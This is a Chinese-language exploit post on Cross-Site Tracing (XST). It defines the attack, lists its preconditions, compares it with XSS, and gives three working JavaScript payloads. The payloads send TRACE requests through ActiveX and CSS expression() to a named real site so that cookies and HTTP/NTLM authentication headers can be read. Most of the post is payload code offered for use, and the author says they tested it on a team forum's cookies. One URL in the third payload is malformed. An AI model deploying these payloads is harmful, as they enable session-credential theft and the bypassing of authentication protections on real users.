XST攻击也是攻击者将恶意代码嵌入主机上的Web文件,当访问者浏览时,恶意代码在浏览器中执行, 然后访问者的Cookie、http基本验证以及NTLM验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致Cookie欺骗或者是中间人攻击。
XST攻击条件: 1、需要目标Web服务器允许Trace参数; 2、需要一个用来插入XST代码的地方; 3、目标站点存在跨域漏洞。
XST与XSS的比较: 相同点:都具有很大的欺骗性,可以对主机产生危害,而且这种攻击是跨平台的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。 优点:可以绕过一般的http验证以及NTLM验证
利用手法1: <script type="text/javascript"> <!-- function xssTRACE(){ var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); xmlHttp.open("TRACE","http://wmjie.51.net/swords/",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc); }
//--> </script> <INPUT TYPE=BUTTON OnClick="xssTRACE();" VALUE='XSS TRACE'>
手法2: <script type="text/javascript"> <!-- function xssTRACE() { var openWin=open("blank.htm","swords","width=500,height=400"); var otraceswords=openWin.external; openWin.location.href="http://wmjie.51.net/swords/"; setTimeout( function () { //以下必须写在一行 otraceswords.NavigateAndFind('javascript:xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE","http://wmjie.51.net/swords/",false);xmlHttp.send();xmlDoc=xmlHttp.responseText;alert("不用document.Cookie 显示站点wmjie.51.net/swords/ 的头信息。\\n" + xmlDoc);',"",""); }, 1024 ); } //--> </script> <INPUT TYPE=BUTTON OnClick="xssTRACE();" VALUE='XSS TRACE'>
手法3: <script type="text/javascript"> function xssTRACE(){ var swords = "var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\")\;xmlHttp.open(\"TRACE\",\"http://http://www.tingh.com/\",false)\;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;"; var target = "http://wmjie.51.net/swords/"; spinach = encodeURIComponent(swords + ';top.close()'); var readyCode = 'font-size:expression(execScript(decodeURIComponent("' + spinach + '")))'; showModalDialog(target, null, readyCode); } </script> <INPUT TYPE=BUTTON OnClick="xssTRACE()" VALUE='XSS TRACE'>
我用团队论坛的Cookie和我的站点作测试。
|